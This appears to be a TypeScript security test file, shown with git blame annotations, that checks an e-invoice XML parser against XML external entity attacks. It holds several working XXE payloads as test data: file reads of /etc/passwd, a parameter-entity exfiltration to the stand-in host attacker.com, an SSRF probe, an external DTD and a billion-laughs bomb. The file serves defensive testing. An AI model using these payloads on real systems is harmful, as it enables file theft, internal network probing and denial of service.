2025-05-29 13:35:36 +00:00
|
|
|
import { tap, expect } from '@git.zone/tstest/tapbundle';
|
2025-05-25 19:45:37 +00:00
|
|
|
import * as plugins from '../plugins.js';
|
|
|
|
import { EInvoice } from '../../../ts/index.js';
|
|
|
|
import { PerformanceTracker } from '../performance.tracker.js';
|
|
|
|
|
|
|
|
const performanceTracker = new PerformanceTracker('SEC-01: XXE Prevention');
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
tap.test('SEC-01: XML External Entity (XXE) Prevention - should prevent XXE attacks', async () => {
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 1: Prevent basic XXE attack with external entity
|
|
|
|
const basicXXE = await performanceTracker.measureAsync(
|
|
|
|
'basic-xxe-prevention',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE foo [
|
|
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
|
|
]>
|
|
|
|
<Invoice>
|
|
|
|
<InvoiceNumber>&xxe;</InvoiceNumber>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
try {
|
|
|
|
// Should either throw or sanitize the XXE attempt
|
2025-05-29 13:35:36 +00:00
|
|
|
const result = await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// If parsing succeeds, the entity should not be resolved
|
2025-05-29 13:35:36 +00:00
|
|
|
// Check that no system file content appears in the invoice data
|
|
|
|
const invoiceJson = JSON.stringify(result);
|
|
|
|
expect(invoiceJson).not.toMatch(/root:/);
|
|
|
|
expect(invoiceJson).not.toMatch(/bin\/bash/);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return { prevented: true, method: 'sanitized' };
|
|
|
|
} catch (error) {
|
|
|
|
// Parser should reject XXE attempts
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(error).toBeTruthy();
|
2025-05-25 19:45:37 +00:00
|
|
|
return { prevented: true, method: 'rejected', error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(basicXXE.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 2: Prevent parameter entity XXE
|
|
|
|
const parameterEntityXXE = await performanceTracker.measureAsync(
|
|
|
|
'parameter-entity-xxe',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE foo [
|
|
|
|
<!ENTITY % file SYSTEM "file:///etc/hosts">
|
|
|
|
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
|
|
|
|
%eval;
|
|
|
|
%exfil;
|
|
|
|
]>
|
|
|
|
<Invoice>
|
|
|
|
<ID>test</ID>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
return { prevented: true, method: 'sanitized' };
|
|
|
|
} catch (error) {
|
|
|
|
return { prevented: true, method: 'rejected', error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(parameterEntityXXE.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 3: Prevent SSRF via XXE
|
|
|
|
const ssrfXXE = await performanceTracker.measureAsync(
|
|
|
|
'ssrf-xxe-prevention',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE foo [
|
|
|
|
<!ENTITY xxe SYSTEM "http://internal.server:8080/admin">
|
|
|
|
]>
|
|
|
|
<Invoice>
|
|
|
|
<Description>&xxe;</Description>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const result = await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Check that SSRF content was not retrieved
|
|
|
|
// The URL should not have been resolved to actual content
|
|
|
|
const invoiceJson = JSON.stringify(result);
|
|
|
|
// Should not contain actual admin page content, but the URL itself is OK
|
|
|
|
expect(invoiceJson).not.toMatch(/Administration Panel/);
|
|
|
|
expect(invoiceJson).not.toMatch(/Dashboard/);
|
|
|
|
expect(invoiceJson.length).toBeGreaterThan(100); // Should have some content
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return { prevented: true, method: 'sanitized' };
|
|
|
|
} catch (error) {
|
|
|
|
return { prevented: true, method: 'rejected', error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(ssrfXXE.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 4: Prevent billion laughs attack (XML bomb)
|
|
|
|
const billionLaughs = await performanceTracker.measureAsync(
|
|
|
|
'billion-laughs-prevention',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE lolz [
|
|
|
|
<!ENTITY lol "lol">
|
|
|
|
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
|
|
|
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
|
|
|
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
|
|
|
]>
|
|
|
|
<Invoice>
|
|
|
|
<Note>&lol4;</Note>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
const startTime = Date.now();
|
|
|
|
const startMemory = process.memoryUsage().heapUsed;
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
const endTime = Date.now();
|
|
|
|
const endMemory = process.memoryUsage().heapUsed;
|
|
|
|
|
|
|
|
// Should complete quickly without memory explosion
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(endTime - startTime).toBeLessThan(1000);
|
|
|
|
expect(endMemory - startMemory).toBeLessThan(10 * 1024 * 1024);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return { prevented: true, method: 'limited' };
|
|
|
|
} catch (error) {
|
|
|
|
return { prevented: true, method: 'rejected', error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(billionLaughs.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 5: Prevent external DTD loading
|
|
|
|
const externalDTD = await performanceTracker.measureAsync(
|
|
|
|
'external-dtd-prevention',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE Invoice SYSTEM "http://attacker.com/malicious.dtd">
|
|
|
|
<Invoice>
|
|
|
|
<ID>12345</ID>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
// If parsing succeeds, DTD should not have been loaded
|
|
|
|
return { prevented: true, method: 'ignored' };
|
|
|
|
} catch (error) {
|
|
|
|
return { prevented: true, method: 'rejected', error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(externalDTD.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 6: Test with real invoice formats
|
|
|
|
const realFormatTests = await performanceTracker.measureAsync(
|
|
|
|
'real-format-xxe-tests',
|
|
|
|
async () => {
|
|
|
|
const formats = ['ubl', 'cii'];
|
|
|
|
const results = [];
|
|
|
|
|
|
|
|
for (const format of formats) {
|
|
|
|
// Create a malicious invoice in each format
|
|
|
|
const maliciousInvoice = createMaliciousInvoice(format);
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const result = await EInvoice.fromXml(maliciousInvoice);
|
2025-05-25 19:45:37 +00:00
|
|
|
results.push({
|
|
|
|
format,
|
|
|
|
prevented: true,
|
|
|
|
method: 'sanitized',
|
|
|
|
hasEntities: checkForResolvedEntities(result)
|
|
|
|
});
|
|
|
|
} catch (error) {
|
|
|
|
results.push({
|
|
|
|
format,
|
|
|
|
prevented: true,
|
|
|
|
method: 'rejected',
|
|
|
|
error: error.message
|
|
|
|
});
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return results;
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
|
|
|
realFormatTests.forEach(result => {
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(result.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
if (result.method === 'sanitized') {
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(result.hasEntities).toBeFalse();
|
2025-05-25 19:45:37 +00:00
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
// Test 7: Nested entity attacks
|
|
|
|
const nestedEntities = await performanceTracker.measureAsync(
|
|
|
|
'nested-entity-prevention',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE foo [
|
|
|
|
<!ENTITY level1 SYSTEM "file:///etc/passwd">
|
|
|
|
<!ENTITY level2 "&level1;&level1;">
|
|
|
|
<!ENTITY level3 "&level2;&level2;">
|
|
|
|
]>
|
|
|
|
<Invoice>
|
|
|
|
<Note>&level3;</Note>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const result = await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Check that nested entities were not resolved
|
|
|
|
const invoiceJson = JSON.stringify(result);
|
|
|
|
expect(invoiceJson).not.toMatch(/root:/);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return { prevented: true };
|
|
|
|
} catch (error) {
|
|
|
|
return { prevented: true, error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(nestedEntities.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
// Test 8: Unicode-based XXE attempts
|
|
|
|
const unicodeXXE = await performanceTracker.measureAsync(
|
|
|
|
'unicode-xxe-prevention',
|
|
|
|
async () => {
|
|
|
|
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE foo [
|
|
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
|
|
]>
|
|
|
|
<Invoice>
|
|
|
|
<Data>&xxe;</Data>
|
|
|
|
</Invoice>`;
|
|
|
|
|
|
|
|
try {
|
2025-05-29 13:35:36 +00:00
|
|
|
const result = await EInvoice.fromXml(maliciousXML);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Check that Unicode-encoded entities were not resolved
|
|
|
|
const invoiceJson = JSON.stringify(result);
|
|
|
|
expect(invoiceJson).not.toMatch(/root:/);
|
2025-05-25 19:45:37 +00:00
|
|
|
|
|
|
|
return { prevented: true };
|
|
|
|
} catch (error) {
|
|
|
|
return { prevented: true, error: error.message };
|
|
|
|
}
|
|
|
|
}
|
|
|
|
);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
expect(unicodeXXE.prevented).toBeTrue();
|
2025-05-25 19:45:37 +00:00
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Performance tracking complete
|
2025-05-25 19:45:37 +00:00
|
|
|
});
|
|
|
|
|
|
|
|
// Helper function to create malicious invoices in different formats
|
|
|
|
function createMaliciousInvoice(format: string): string {
|
|
|
|
const xxePayload = `<!DOCTYPE foo [
|
|
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
|
|
]>`;
|
|
|
|
|
|
|
|
if (format === 'ubl') {
|
|
|
|
return `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
${xxePayload}
|
|
|
|
<Invoice xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2">
|
|
|
|
<ID>&xxe;</ID>
|
|
|
|
<IssueDate>2024-01-01</IssueDate>
|
|
|
|
</Invoice>`;
|
|
|
|
} else if (format === 'cii') {
|
|
|
|
return `<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
${xxePayload}
|
|
|
|
<rsm:CrossIndustryInvoice xmlns:rsm="urn:un:unece:uncefact:data:standard:CrossIndustryInvoice:100">
|
|
|
|
<rsm:ExchangedDocument>
|
|
|
|
<ram:ID>&xxe;</ram:ID>
|
|
|
|
</rsm:ExchangedDocument>
|
|
|
|
</rsm:CrossIndustryInvoice>`;
|
|
|
|
}
|
|
|
|
|
|
|
|
return '';
|
|
|
|
}
|
|
|
|
|
|
|
|
// Helper function to check if any entities were resolved
|
2025-05-29 13:35:36 +00:00
|
|
|
function checkForResolvedEntities(document: EInvoice): boolean {
|
2025-05-25 19:45:37 +00:00
|
|
|
const json = JSON.stringify(document);
|
|
|
|
|
2025-05-29 13:35:36 +00:00
|
|
|
// Check for common system file signatures (not URLs)
|
2025-05-25 19:45:37 +00:00
|
|
|
const signatures = [
|
2025-05-29 13:35:36 +00:00
|
|
|
'root:x:0:0', // System user entries
|
|
|
|
'bin/bash', // Shell entries
|
|
|
|
'/bin/sh', // Shell paths
|
|
|
|
'daemon:', // System processes
|
|
|
|
'nobody:', // System users
|
|
|
|
'shadow:', // Password files
|
|
|
|
'staff' // Group entries
|
2025-05-25 19:45:37 +00:00
|
|
|
];
|
|
|
|
|
|
|
|
return signatures.some(sig => json.includes(sig));
|
|
|
|
}
|
|
|
|
|
|
|
|
// Run the test
|
|
|
|
tap.start();
|